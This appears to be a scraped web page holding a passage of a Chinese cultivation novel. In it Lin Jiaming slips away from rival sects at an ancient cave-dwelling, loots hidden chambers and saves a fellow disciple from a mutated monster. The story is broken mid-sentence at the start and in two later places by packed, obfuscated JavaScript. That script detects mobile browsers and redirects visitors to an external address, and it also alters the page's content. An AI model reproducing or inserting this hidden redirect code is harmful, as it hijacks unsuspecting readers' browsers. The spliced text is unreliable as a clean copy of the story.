l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189079|197041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成,极为罕见,常被用来炼制邪门法器或催生某些阴毒妖兽……怎么会出现在这里?还被‘瘴狼’的人携带?” 地火阴煞髓?林家铭心中一动。地火属阳,阴煞属阴,两者交汇……倒是和他混沌灵根“包容对立”的特性有点异曲同工。而且,这名字听起来,似乎和“玄阴煞气”有些关联? 楚云继续道:“弟子怀疑,‘瘴狼’的人,或者他们背后的指使者,可能在利用或收集这种东西,用于某种目的。而厚土宗弟子的死,或许并非简单的妖兽袭击。” 韩厉沉吟片刻:“此事暂且记下。当前首要目标是洞府。但我们需加倍小心,不仅要防备其他势力,还要提防可能存在的、利用这种邪物制造的陷阱或怪物。” 他目光扫过众人:“休整一个时辰。一个时辰后,留下两人照顾伤员并看守此地,其余人轻装简从,全速赶往洞府坐标!必须在日落前,找到入口!” 众人领命,各自散去准备。 林家铭回到钱富贵和李阵身边,简单说了下情况(省略了碎片具体来历)。钱富贵忧心忡忡,李阵则更加专注地检查起自己携带的破阵法器。 趁着休整,林家铭走到岩洞外稍远处,装作检查预警机关,实则将混沌灵力感知开到最大,仔细感应着周围环境,尤其是地脉和气息流动。 忽然,他眉头一挑,看向侧后方一片被浓郁紫色瘴气笼罩的密林。那里,似乎传来一丝极其微弱的、与周围环境格格不入的灵力波动,而且带着一种刻意压抑的窥探感。 有人!在暗中观察他们! 不是“瘴狼”那些散修的风格。这股灵力更加凝实、阴晦,而且……似乎有意在模仿周围瘴气的波动,隐匿手段相当高明。 林家铭不动声色,继续摆弄着手里的一截细线,仿佛毫无所觉。但心中已经提起十二分警惕。 除了青岚宗、厚土宗(可能还有残存者)、“瘴狼”团伙,还有第四方势力?或者说……“瘴狼”背后的人? 这趟浑水,果然越来越浑了。 他余光瞥见楚云也正站在岩洞口,目光似乎也若有所思地扫过那片紫色瘴林方向。 看来,不止他一个人察觉到了。 林家铭嘴角微不可察地撇了撇。 有趣。 这万瘴谷,还真是群魔乱舞,各怀鬼胎。 一个时辰后,队伍再次出发。 留下两名炼气五层的弟子照顾伤员并看守临时营地。其余十一人(韩厉、陈风、楚云、苏晴、洪刚、赵明、周通、林家铭、钱富贵、李阵、王海)轻装上阵,在韩厉的带领下,朝着古修士洞府坐标所在的山谷疾行而去。 瘴气愈发浓重,地形也更加崎岖险恶。毒虫、潜伏的妖兽、天然的毒沼陷阱层出不穷。队伍行进速度虽快,却也不得不时刻小心。 林家铭混在中段,凭借混沌感应的预警,多次提前示警,避开了一些隐藏的危险,让同组的钱富贵等人对他刮目相看,连韩厉偶尔投来的目光也少了几分审视,多了些认可。 楚云依旧沉默,但每次林家铭出声示警,他都会下意识地朝那个方向确认一眼,眼神复杂。 午后,众人穿过一片弥漫着粉色致幻瘴气的蝶谷,击退了一群受瘴气影响而狂暴的“毒针妖蜂”,终于抵达了目的地——一座被三面陡峭黑岩环绕、入口狭窄、内部幽深不知几许的山谷。 谷口处,乱石堆积,隐约可见人工开凿的痕迹,还有几处早已失效的残缺禁制符文。一股陈旧、荒芜、却又透着淡淡灵压的气息,从山谷深处弥漫出来。 古修士洞府,就在眼前。 但谷口附近,却并非空无一人。 两拨人马,正剑拔弩张地对峙着。一拨人穿着离火宗的赤红服饰,约七八人,为首的是一个面容倨傲、气息炽烈的青年,修为炼气七层。另一拨人则穿着杂色衣物,但袖口都有统一的山岳标记,正是厚土宗的人,人数只有四五个,个个带伤,神色惊怒,正是之前遭遇袭击的幸存者! 而在两拨人中间的空地上,还散落着几具新鲜的尸体,看穿着,既有“瘴狼”的散修,也有……天枢峰的弟子服饰! 韩厉等人赶到谷口时,看到的正是这副景象。 所有人的目光,瞬间聚焦过来。 空气中,火药味浓得几乎要炸开。 19. 混乱伊始,趁乱开溜 谷口的气氛紧绷如拉满的弓弦。 离火宗、厚土宗残部、青岚宗三拨人马鼎足而立,中间还夹杂着“瘴狼”和天枢峰弟子的尸体。空气中弥漫着血腥味、未散的灵力波动,以及毫不掩饰的敌意。 “韩厉师兄,别来无恙。”离火宗那为首的倨傲青年率先开口,语气带着惯有的火气,“你们青岚宗倒是来得快。可惜,这天枢峰的同门,似乎运气不太好。”他目光扫过地上那几具天枢峰弟子尸体,嘴角噙着一丝若有若无的讥诮。 韩厉脸色铁青。那几名天枢峰弟子显然是在他们之前先行抵达,却遭遇了不测。看伤痕,有法术灼烧,也有利器劈砍,更有毒发迹象,死因复杂。 “烈焱,此地乃我青岚宗率先发现,尔等在此杀戮我宗弟子,意欲何为?”韩厉踏前一步,筑基期的威压毫无保留地释放开来。 名为烈焱的离火宗青年面色微变,但依旧硬气:“韩师兄此言差矣。古修士洞府,有缘者得之。你们青岚宗弟子学艺不精,撞上‘瘴狼’的埋伏,与我们何干?我们离火宗也是刚到,正好撞见厚土宗的几位朋友被这些杂碎纠缠,顺手清理了而已。”他指了指地上“瘴狼”的尸体,又瞥了一眼狼狈的厚土宗幸存者。 厚土宗那边,一个满脸悲愤的壮汉怒道:“放屁!烈焱!明明是你们和‘瘴狼’的人勾结,伏击我们!若非我们拼死抵抗,加上这些青岚宗的道友意外闯入,恐怕早就遭了你们的毒手!”他指着烈焱,手指都在颤抖。 烈焱嗤笑:“勾结?就凭这些上不得台面的杂碎?厚土宗的,说话要讲证据,否则……小心祸从口出。” 三方各执一词,互相指责,气氛越来越僵。彼此间灵力暗涌,大有一言不合就要动手的架势。 青岚宗这边,陈风、楚云等人也早已灵力暗运,警惕地盯着离火宗和厚土宗的人。钱富贵等修为较低的弟子则紧张地缩在后方。 林家铭混在人群中,目光快速扫过全场。 机会。 三方对峙,注意力都在彼此身上。谷口地形复杂,乱石嶙峋,瘴气也比其他地方更浓。最重要的是,那古修士洞府的入口,就在山谷深处,此刻无人把守。 此时不溜,更待何时? 跟大部队一起行动,固然安全一点,但要听指挥,分战利品时也麻烦,还容易暴露自己的真实手段和收获。不如自己单干,灵活机动,捞到多少都是自己的。 他悄悄碰了碰身边的钱富贵,用极低的声音道:“富贵,一会儿打起来,有机会就躲远点,保命要紧。洞府里面再见机行事。” 钱富贵一愣,随即明白了林家铭的意思,眼中闪过紧张和犹豫,但还是用力点了点头。 就在这时,烈焱似乎失去了耐心,冷哼道:“韩师兄,废话少说。洞府就在眼前,难不成我们要在这里干耗着?不如各凭本事,进去之后,生死富贵,各安天命!如何?” 韩厉眼神冰冷。他自然不愿在此与离火宗死磕,平白让厚土宗捡便宜或者让其他暗中势力有机可乘。而且,天枢峰弟子的仇要报,但洞府机缘更不能错过。 “可以。”韩厉沉声道,“但若再让我发现有人暗中对我青岚宗弟子下手,休怪韩某剑下无情!” “哈哈,好说!”烈焱大笑,一挥手,“离火宗的,跟我进谷!”说完,竟真不再理会青岚宗和厚土宗,带着手下弟子,率先朝山谷内冲去。 厚土宗那壮汉咬了咬牙,也对同伴道:“我们走!小心戒备!”他们也紧跟着离火宗,冲进了山谷。 “我们也走!保持阵型,小心埋伏!”韩厉立刻下令。青岚宗众人也连忙跟上。 山谷入口狭窄,仅容数人并行。三拨人几乎是挤着冲了进去,彼此间难免有推搡和摩擦,气氛依旧紧张。 进入山谷,光线陡然一暗。两侧是陡峭的黑岩,上方瘴气凝聚如盖,只有些许惨淡的光线透下。脚下是湿滑的碎石和厚厚的腐殖质,空气中弥漫着一股浓重的霉味和陈旧气息。 前行不过百丈,前方突然传来离火宗弟子的惊呼和法术爆裂的声音! “有禁制!小心!” “啊——!” 只见前方通道中,突然亮起数道扭曲的、颜色各异的光带,如同活物般抽打、缠绕向闯入者。离火宗冲在最前面的两名弟子躲闪不及,被光带扫中,一人护体灵光破碎,吐血倒飞;另一人则被光带缠住,瞬间拖向岩壁,发出凄厉惨叫,竟被岩壁上突然裂开的缝隙吞噬! 是洞府外围残留的古禁制!被众人的闯入激活了! 紧接着,厚土宗和青岚宗的人也触发了禁制。一时间,狭窄的通道内光带乱舞,灵力暴走,惊呼怒喝声响成一片! “结阵防御!”韩厉大喝,青岚宗众人慌忙聚拢,各自施展手段抵挡或躲避光带。 场面瞬间混乱到了极点。 就是现在! 林家铭眼中精光一闪。在又一道赤红色的光带呼啸着扫向青岚宗队伍侧翼,引起一阵慌乱时,他脚下诡谲步法瞬间展开,身体如同游鱼般向侧后方滑去,悄然脱离了队伍阵型。 他没有冲向更深处,反而借着几块凸起巨石的阴影和禁制光芒的闪烁掩护,迅速贴近了冰冷的岩壁。混沌灵力模拟出“土石”的厚重与沉寂,覆盖全身,同时《万象匿形诀》运转到极致,他的气息瞬间变得微弱近乎于无,仿佛与岩壁融为了一体。 一道淡青色的光带从他刚才站立的位置扫过,毫无察觉。 混乱中,无人注意到队伍里少了一个炼气五层的“小角色”。就连楚云,此刻也正全力应对一道格外凌厉的金色光带,无暇他顾。 林家铭屏息凝神,如同一块没有生命的石头,紧贴在岩壁上,静静等待着。 禁制的爆发持续了约莫半盏茶时间,才逐渐平息下去。通道内一片狼藉,留下了几具尸体(主要是离火宗和厚土宗的倒霉蛋)和斑驳的血迹。 三拨人都损失了人手,气氛更加凝重和警惕。 “禁制已破,继续前进!”烈焱的声音带着怒火和一丝不易察觉的惊悸。离火宗率先整顿队伍,朝着通道深处小心翼翼摸去。 厚土宗和青岚宗也各自收拾心情,重新列队,紧跟其后。 等到三拨人的身影都消失在通道拐角处,脚步声和灵力波动远去,林家铭才缓缓从岩壁阴影中“剥离”出来。 他活动了一下有些僵硬的身体,嘴角勾起一抹得逞的笑容。 “搞定。” 现在,这洞府外围,暂时是他的天下了。至少,在下一波禁制或其他人到来之前。 他没有立刻追赶大部队。相反,他仔细观察起这条刚刚被暴力通过的通道。 两侧岩壁上,那些被触发的禁制符文已经黯淡,但残留的灵力波动和结构依然可见。地面散落着破碎的法器残片和零星的血迹。 林家铭走到那处吞噬了离火宗弟子的岩壁缝隙前。缝隙约一人宽,深不见底,散发着淡淡的吸力和一股……奇异的、混杂着土腥味和某种金属锈蚀的气味。 他用“晦芒”短刃小心地探了探缝隙边缘,又用混沌灵力细细感应。 “不是天然裂缝……有微弱的空间波动残留,还有……一丝极其隐晦的、不同于主流禁制的符文气息。”林家铭若有所思,“难道这缝隙……是通往某个隐藏的岔路或者密室?” 洞府主人既然设下如此复杂的外围禁制,不可能只有一条主通道。这种看似危险的缝隙,说不定反而是留给有缘人(或者自己)的“后门”。 他回头看了一眼主通道方向。大部队已经走远,暂时安全。 “富贵险中求。”林家铭舔了舔嘴唇,眼中闪过兴奋的光芒。跟在大部队后面吃灰,哪有自己探索隐藏路线来得刺激? 他不再犹豫,收敛气息,将“黑水石”握在手中(这里水汽稀少,但“黑水石”对能量波动的微弱感应或许有用),又将“晦芒”短刃反握在手,身体一侧,便钻进了那条幽深的岩壁缝隙。 缝隙内起初狭窄压抑,仅容侧身通行。脚下是湿滑的苔藓和碎岩。但深入十余丈后,空间豁然开朗,竟是一条斜向下的、人工开凿痕迹明显的石阶甬道! 甬道两侧每隔数丈,便镶嵌着一颗早已失去光泽的夜明珠,勉强提供照明。空气更加沉闷,带着浓郁的尘土味和淡淡的……药香? 林家铭精神一振。有药香,说明前面可能有丹房或者药圃残留! 他沿着石阶小心翼翼下行。甬道蜿蜒曲折,但并无岔路,也没有再触发任何禁制——或许这里的禁制早已失效,又或者,这条通道本身就不在常规防护范围内。 走了约莫一炷香时间,前方出现了一扇半掩的石门。石门由某种青灰色石材制成,表面刻着简单的云纹,已经破损了一角,露出后面黑黢黢的空间。 药香正是从门后传来,更加清晰,还夹杂着一丝陈腐的气息。 林家铭在门前驻足,混沌灵力全面感应。门后似乎没有活物气息,也没有强烈的灵力波动。他轻轻推开破损的石门。 “吱呀——” 令人牙酸的摩擦声在寂静的甬道中格外刺耳。 门后,是一个不大的石室。石室一角,散落着几个腐朽的木架,上面还有一些破碎的玉瓶和瓦罐。正中是一个半人高的青铜丹炉,炉身布满铜绿,炉盖歪斜,早已熄灭不知多少岁月。 而最吸引林家铭目光的,是丹炉旁边,一个用白玉砌成的、约莫三尺见方的小池子。池子已经干涸,但池底却残留着一些黑褐色的、如同干涸血液般的沉淀物,散发出浓郁的药香和一股难以言喻的腥甜气。 而在小池边缘,还生长着几株奇特的植物。 那是三株通体呈暗紫色、叶片细长如剑、顶端开着惨白色小花的植物。植株不高,却散发出强烈的阴寒气息和精纯的灵力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189080|197041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 波动。 “这是……‘阴魄草’?”林家铭回忆着从那些垃圾玉简和百草图鉴上看过的零星知识。阴魄草,生长于阴气浓郁之地,是炼制某些滋养神魂或阴属性丹药的主材之一,颇为珍贵。看这年份,至少也有数百年了! 没想到,这隐藏通道的尽头,竟是一处废弃的丹室,还残留着这等好东西! 他强压住心中激动,没有立刻上前。谁知道这丹室有没有最后的防护手段? 他先是从地上捡起一块碎石,试探着扔向那几株阴魄草。 碎石落地,毫无反应。 又用“晦芒”短刃的刀尖,远远地拨弄了一下池底的沉淀物。 依旧平静。 看来,这里的禁制要么早已失效,要么本就只防护丹炉和池子本身,对植物并无保护。 林家铭这才放心上前。他小心翼翼地将三株阴魄草连同根部的一小块泥土一起挖出,用特制的玉盒(得自灰集,能较好保存灵草)装好,封存,收入储物袋。 接着,他看向那个青铜丹炉和池底的沉淀物。丹炉虽然破旧,但材质不凡,这么大个,他带不走。池底的沉淀物……他沾了一点在指尖,混沌灵力探入。 一股精纯却极其阴寒的药力传来,其中还混杂着某种……残缺的魂力波动? “这是……用阴魂之类的东西为辅料,炼制的某种丹药残留?”林家铭皱眉。这洞府主人,看来不是什么正道修士。不过这沉淀物中的药力确实磅礴,虽然属性阴寒偏门,但对混沌灵根来说,或许也能“废物利用”。 他用一个空玉瓶,小心地将池底那些黑褐色沉淀物刮取了大半,同样封存收好。 做完这些,他又在石室里仔细搜索了一圈。除了腐朽的木架和碎片,再无他物。 “看来,这里是洞府主人当年的一处隐秘丹室,或许是用来炼制某些见不得光的丹药的。”林家铭推测道,“阴魄草可能是后来才长出来的。” 收获不错。开局就得了三株数百年份的阴魄草和一瓶不明但能量强大的丹药残渣。 他没有久留,立刻沿原路返回。回到那条主通道的岩壁缝隙出口处,他先谨慎地探头观察。 通道内寂静无声,大部队早已不知深入何处。 林家铭钻出缝隙,重新回到主通道。他没有选择立刻追赶大部队,而是决定反向探索。 大部队走的肯定是通往洞府核心的主路,那里竞争激烈,危险也多。他不如先在外围区域搜刮一番,说不定还有类似丹室这样的隐藏空间。 他收敛气息,如同幽灵般,开始沿着主通道,向来时的方向,也就是洞府更外围的区域探索。 混沌感应全开,仔细搜寻着岩壁上任何可能的缝隙、异常的灵力波动、或者隐藏的符文。 果然,在距离入口不远处的另一侧岩壁上,他发现了一处被藤蔓和苔藓覆盖的、极其隐蔽的凹陷。拨开植被,后面是一条被巨石半封住的、仅容一人爬行通过的狭窄坑道! 坑道内弥漫着浓郁的土腥味和淡淡的金属气息。 “又有发现!”林家铭心中一喜,毫不犹豫地钻了进去。 这一次,坑道的尽头,不是一个石室,而是一个不大的、堆满了各种炼废的法器残骸、金属锭边角料、以及一些颜色古怪的矿石的废弃材料库! 虽然都是“垃圾”,但看材质和残留的灵力波动,品级不低!对林家铭的混沌灵根而言,这又是一顿丰盛的“大餐”! 他毫不客气,开始疯狂扫货。将那些蕴含金、土、火等属性精华的残骸和矿石,不管认识不认识,只要感觉能量充沛,统统塞进储物袋。 “发财了发财了……”他一边搬,一边心里乐开了花。这独自行动,果然效率高、收获大! 就在他几乎要将这个小材料库搬空时,耳朵忽然一动。 坑道外的主通道里,传来了轻微而急促的脚步声,以及……压抑的喘息声和咒骂声。 有人来了!而且,似乎状态不太好? 林家铭立刻停手,闪身躲到一堆较大的废料后面,屏息凝神。 脚步声越来越近,直奔这个隐蔽的坑道口而来! “妈的……甩掉了吗?那鬼东西……”一个带着惊惶的年轻男子声音响起,紧接着,一个人影踉跄着冲进了坑道,扑倒在一堆废料上,大口喘着粗气。 借着坑道口微弱的光线,林家铭看清了来人的模样。 穿着青岚宗内门弟子服饰,但不是天枢峰,也不是他们这一队的。修为大概炼气六层,但此刻衣衫破烂,浑身是伤,左臂不自然地扭曲着,脸上写满了恐惧和后怕。 是之前先行进入洞府、却遭遇不测的那批天枢峰弟子中的……幸存者? 他怎么找到这里的?而且,他口中的“鬼东西”是什么? 林家铭藏在暗处,眼神闪烁。 新的变数,又来了。 20. 独食、暗助与阴敌 第二十章独食、暗助与阴敌(修正版) 冲进废弃材料库的,正是那个狼狈不堪的青岚宗弟子。他扑在废料堆上,胸膛剧烈起伏,眼中惊魂未定,根本没察觉到黑暗中还有另一双眼睛。 林家铭屏息凝神,混沌灵力将自身气息收敛到近乎虚无,与冰冷的金属废料融为一体。他认出了这人——似乎是天枢峰一个叫孙皓的内门弟子,炼气六层,在小比上见过,实力尚可,但此刻却如此狼狈。 “该死的……那到底是什么鬼东西……”孙皓喘着粗气,低声咒骂,颤抖着手从怀里掏出一个玉瓶,倒出两颗丹药塞进嘴里,又胡乱给扭曲的左臂上了点药膏,用布条死死缠住。 他口中的“鬼东西”……林家铭心中微动。看来,先行进入洞府的这批人,遭遇的麻烦不小。 孙皓处理完伤口,稍微镇定了一些,开始警惕地打量这个小小的材料库。看到满地凌乱的废料(林家铭的杰作),他愣了一下,但随即被角落里几块闪烁着微光的矿石吸引。 “赤炎晶?还有玄铁精?”孙皓眼睛一亮,挣扎着起身,想去捡拾。这些东西虽然不算顶级,但也值些灵石,对他现在的处境不无小补。 就在这时,通道外再次传来声响! 这次不是脚步声,而是一种低沉、粘稠、仿佛无数细足摩擦地面的窸窣声,由远及近,速度极快!还伴随着一股令人作呕的腥甜腐烂气味! 孙皓脸色瞬间惨白如纸,眼中恐惧几乎要溢出来:“它……它追来了!阴魂不散!” 他再也顾不得矿石,连滚爬爬地躲到一堆较大的废料后面,缩成一团,死死捂住口鼻,连呼吸都停止了。 林家铭也心中一凛。那声音和气味,给他一种极其不好的预感,仿佛被什么冰冷滑腻的东西盯上。他同样将气息收敛到极致,目光透过废料缝隙,紧紧盯着坑道入口。 窸窣声在坑道口停顿了一下,似乎有些迟疑。随即,一个难以名状的生物,缓缓从阴影中“流”了进来。 那东西约莫水桶粗细,没有固定形态,像是一大团不断蠕动、流淌的暗红色半流质,表面布满大大小小的、不断开合的吸盘和惨白色的骨刺。无数细密的、类似昆虫节肢的黑色小足在身下快速划动,发出令人牙酸的摩擦声。它没有明显的头部,但在身体前端,裂开一道缝隙,露出里面层层叠叠、滴落着粘液的环形利齿。 更诡异的是,这东西散发出的气息——浓郁的血腥味、狂暴的妖气、以及一股林家铭颇为熟悉的、与“地火阴煞髓”碎片同源的阴寒混乱煞气交织在一起! “这是……被‘地火阴煞髓’污染异化的妖兽?还是某种人为培育的怪物?”林家铭心中惊疑。这东西给他的威胁感,远超炼气六层,恐怕接近炼气后期,甚至带有某种精神污染,让人望之生畏。 那怪物在坑道口徘徊片刻,似乎失去了明确目标(孙皓和林家铭都隐匿得极好)。但它并未离开,而是开始用身体前端那道恐怖的裂口,舔舐、吞噬着地面上散落的金属碎屑和矿石!那些坚硬的金属在它粘液的腐蚀和利齿的研磨下,如同豆腐般被轻易吞噬! 它在进食!而且似乎对金属和蕴含灵力的矿物有偏好! 孙皓躲在废料后,吓得浑身发抖,眼睁睁看着怪物离他藏身之处越来越近。 林家铭也在飞速思考。救,还是不救? 孙皓是天枢峰的人,算同门,但并非他的朋友,之前也无交集。这怪物不好惹,贸然出手风险不小。但……如果这怪物吞噬完金属,开始无差别搜寻,自己也难免暴露。 “算了,同门一场,而且这鬼东西看着就碍眼。”林家铭很快做出决定。人不犯我,我不犯人。但这怪物显然已经“犯”了这片区域(包括他),属于需要清除的威胁。顺便,试试新玩意儿。 他悄无声息地从储物袋中摸出一枚爆裂石雷子和一小包加强混沌灰。 那怪物此时已游弋到孙皓藏身的废料堆前,似乎嗅到了活人的气息,动作停顿,裂口转向废料堆方向,发出“嘶嘶”的低鸣。 孙皓绝望地闭上眼睛。 就是现在! 林家铭手腕一抖,爆裂石雷子划出一道弧线,精准地砸在怪物身体中段!同时,那包加强混沌灰则撒向了怪物前端的裂口附近! “砰——!!!” 石雷子猛烈爆炸!火光与混乱的金石之气迸发!怪物暗红色的身体被炸得剧烈波动,出现一个凹坑,流淌出暗绿色粘稠的□□,发出痛苦的嘶鸣! 爆炸的气浪和火光也遮蔽了林家铭出手的方位。 紧接着,混沌灰弥漫开来,沾染在怪物体表,尤其是裂口附近。虽然这怪物似乎对毒素抗性极高,但混沌灰中蕴含的麻痹和干扰灵力效果,依然让它动作出现了一瞬间的迟滞和混乱。 “吼——!”怪物暴怒,裂口大张,喷出一股腥臭的暗红色腐蚀液,朝着爆炸方向无差别覆盖! 但林家铭在出手的瞬间,早已施展步法,如同鬼魅般从藏身处滑开,绕到了怪物侧后方。 孙皓被爆炸声惊得睁开眼,只看到怪物发狂,腐蚀液将一片废料熔得滋滋作响,却不知是谁救了他。 林家铭没有立刻攻击,而是凭借混沌感应对能量流向的敏锐,察觉到右侧墙壁某处的异常——那里的岩壁能量流动有一丝极其微弱的不协调和“空乏感”,仿佛后面是空的。 “有暗门!”他心中一动,对孙皓藏身的方向低喝一声:“右边墙壁,灰岩有异,撞开它!快!”声音经过混沌灵力处理,显得飘忽难辨。 孙皓一愣,但生死关头也顾不得多想,循着那丝感应望去,果然看到右侧墙壁有一块颜色略深的灰岩,边缘似乎与周围岩壁结合得不那么紧密。他咬牙鼓起最后力气,猛地朝那块灰岩撞去! “轰隆!”灰岩竟是活动的!被他撞得向内凹陷,露出一个黑漆漆的洞口!一股陈旧但相对干净的空气涌出。 孙皓大喜,毫不犹豫地钻了进去。 怪物被这动静吸引,舍弃林家铭,朝着洞口扑去! 林家铭岂能让它如愿?他早已趁机绕到怪物后方,手中“晦芒”短刃寒光一闪,混沌灵力模拟出极致的“锋锐”与“侵蚀”,狠狠刺向怪物身体后端一个相对柔软、没有骨刺覆盖的节点! “噗嗤!”短刃入肉!混沌灵力混合着“蚀金毒”的效果瞬间爆发!怪物发出一声凄厉无比的尖啸,后半截身体猛地抽搐、蜷缩,暗绿色□□狂喷! 但它生命力极其顽强,受此重创,反而凶性大发,前半截身体猛地扭转,裂口以不可思议的角度噬向林家铭! 林家铭早有防备,脚步一错,险之又险地避开,同时左手一挥,最后一张混沌匿踪符贴在身上,气息瞬间变得模糊,朝着那打开的侧门洞口冲去! 怪物失去了明确目标,又受重伤,在原地疯狂扭动、拍打,将废料库搅得天翻地覆。 林家铭已冲入洞口后的通道,反手一拍墙壁某处(混沌感应到的一个简易机括),那块活动灰岩“咔哒”一声,竟然自行闭合,将发狂的怪物关在了外面! 通道内一片黑暗,只有远处隐约传来孙皓急促的脚步声。 林家铭松了口气,收起匿踪符(效果已快消失)。他检查了一下自身,除了消耗些灵力,并无大碍。“晦芒”短刃上沾染的怪物□□正在被混沌灵力缓缓净化。 “那鬼东西,应该是被‘地火阴煞髓’长期污染变异的‘噬金蠕兽’,皮糙肉厚,生命力强,还带毒和煞气侵蚀,不好对付。”林家铭一边顺着通道前进,一边回想怪物特征,“看来这洞府里,不止有古禁制和机关,还有这种被煞气污染滋生的怪物……得更加小心。” 他跟上孙皓的脚步声。这条通道很窄,仅容一人通行,但空气流通,墙壁干燥,似乎是当年的通风道或应急密道。 很快,他追上了踉跄前行的孙皓。 “谁?!”孙皓听到身后脚步声,惊恐回头,手中握着一把断剑。 “别紧张,同门。”林家铭放缓脚步,露出人畜无害的笑容,“揽月峰,林家铭。刚才听到动静,过来看看。孙师兄,你没事吧?” 孙皓借着通道尽头微弱的光(似乎是另一个出口),看清了林家铭的服饰和面孔,确实是青岚宗弟子,而且修为只有炼气五层,顿时松了口气,但眼中警惕未消:“刚才是你……?” “我正好在附近探索,听到爆炸声和怪物的声音,就过来瞧瞧,看到师兄遇险,顺便搭了把手。”林家铭说得轻描淡写,“那怪物好像被关在外面了,暂时安全。” 孙皓确认暂时安全,紧绷的神经一松,顿时瘫坐在地,脸上后怕与感激交织:“多、多谢林师弟援手!若非师弟,孙某今日恐怕……”他想起那怪物的恐怖,仍心有余悸。 “同门互助,应该的。”林家铭摆摆手,蹲下身,“孙师兄,你们先前遭遇了什么?怎么只剩你一人?还有,那怪物是怎么回事?” 孙皓面露悲戚,将之前遭遇噬金蠕兽袭击、同伴惨死、自己被一路追杀的过程讲述一遍,与林家铭猜测大致吻合。 “林师弟,那怪物绝非天然形成,这洞府……邪性得很!”孙皓声音颤抖。 林家铭点点头,问道:“孙师兄接下来有何打算?” 孙皓苦笑:“我伤势不轻,左臂骨折,灵力也损耗大半。这洞府太危险,我想……找路出去,返回宗门禀报。” “明智之举。”林家铭表示赞同,“这条通道似乎通往别处,或许能找到出口。孙师兄可还能行走?” “可以。”孙皓挣扎着站起。 两人一前一后,沿着通道继续前行。很快,通道到了尽头。又是一扇石门,但并未完全闭合,露出一条缝隙,里面有柔和的光线透出。 两人对视一眼,小心翼翼凑近缝隙望去。 石门后,是一个不大的石室。室内陈设简洁,只有一张石床、一个石桌、两个石凳。石桌上,放着几卷颜色古旧但保存完好的玉简,一个小巧的青铜香炉,以及一个敞开的、里面空空如也的玉匣。墙壁上,还挂着一幅已然褪色、但笔力苍劲的山水画。 最引人注目的是,石室顶部镶嵌着几颗硕大的夜明珠,将室内照得通明。而石室另一侧,还有一扇紧闭的、刻着繁复符文的石门,那符文流转,显然仍有禁制保护。 “这……像是一处静修室?”孙皓低声道。 林家铭的目光则落在石桌的玉简和那个空玉匣上。玉匣空了,但玉简还在。而且,通过混沌感应,他能感觉到,那扇紧闭的符文石门后,有更强烈的灵力波动和……一种让他混沌灵力微微渴望的气息。 “孙师兄,此地看来暂无危险。这些玉简,或许是洞府主人留下的功法或见闻。我们不妨一观?也算不虚此行。”林家铭提议。 孙皓有些意动,但看了看自己伤势,又看了看那扇紧闭的、明显不好惹的符文石门,犹豫道:“林师弟,此地虽好,但恐怕非久留之地。那扇门后不知有何物,若再引出麻烦……” “师兄说得对。”林家铭从善如流,“这样,师兄你先在此调息疗伤,我粗略看看这些玉简,若无危险,我们抄录或带走,然后立刻寻找出路,如何?” 孙皓想了想,觉得这办法稳妥,便点头同意,走到石床边盘膝坐下,开始运功疗伤。 林家铭则走到石桌前,先小心检查了玉简和香炉,确认无禁制陷阱后,才拿起一卷玉简,神识探入。 玉简中记载的并非什么高深功法,而是一些关于炼丹心得、此地地貌风水、以及某种“阴煞融灵”理论的杂记。其中提到了利用“地火阴煞髓”辅以特殊阵法,可以培育某些特殊灵植或淬炼法器,但也警告此法易引煞气反噬,滋生不祥。 “果然是偏门修士,走的不是正道。”林家铭快速浏览,将这些知识记下(混沌灵根过目不忘)。虽然路子邪,但其中一些能量转化、物质融合的思路,对他颇有启发。 他又看了其他几卷,内容大同小异,多是修炼杂记和实验记录。最有价值的是一卷残缺的《古禁制辨析》,里面记录了几种罕见古禁制的结构和破解思路(不全)。 他不动声色地将《古禁制辨析》的内容牢牢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189081|197041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记住,然后将其他玉简放回原处——这些东西对他用处不大,且带有明显个人印记,拿走容易惹麻烦。 他的注意力,主要放在了那扇紧闭的符文石门上。混沌灵力传来的隐约渴望感,源头就在门后。但门上禁制复杂,以他目前的手段和知识(即便有刚看的《古禁制辨析》碎片),根本无法强行打开。 “看来,需要特定的‘钥匙’或者更高深的破禁手段才行……”林家铭有些遗憾,但并未强求。洞府这么大,好东西不可能全在一处。 这时,孙皓也调息完毕,气色好了不少。 “林师弟,可有所获?” “一些杂记,价值不大。”林家铭摇头,“孙师兄恢复得如何?我们该离开了。” 两人不再逗留,离开静修室,沿着通道另一头继续前进。这条通道蜿蜒向上,空气逐渐变得清新,瘴气味道减淡。约莫半个时辰后,前方出现光亮,竟是一处被藤蔓遮掩的隐秘山体裂缝出口!出口外,已是万瘴谷外围,距离他们进入的主谷口已有数里之遥。 “出来了!”孙皓松了口气,脸上露出逃出生天的庆幸,转身对林家铭郑重一礼:“林师弟,此番救命之恩,孙某没齿难忘!我需立刻返回宗门禀报此地异状和同门罹难之事。师弟你……” “我与师兄一同出来的其他同门尚有任务在身,且我修为尚可,打算在附近再探查一番,看看能否接应他们。”林家铭面不改色地扯了个理由。他当然不会回去,洞府里的“热闹”和“垃圾”还没捡够呢。 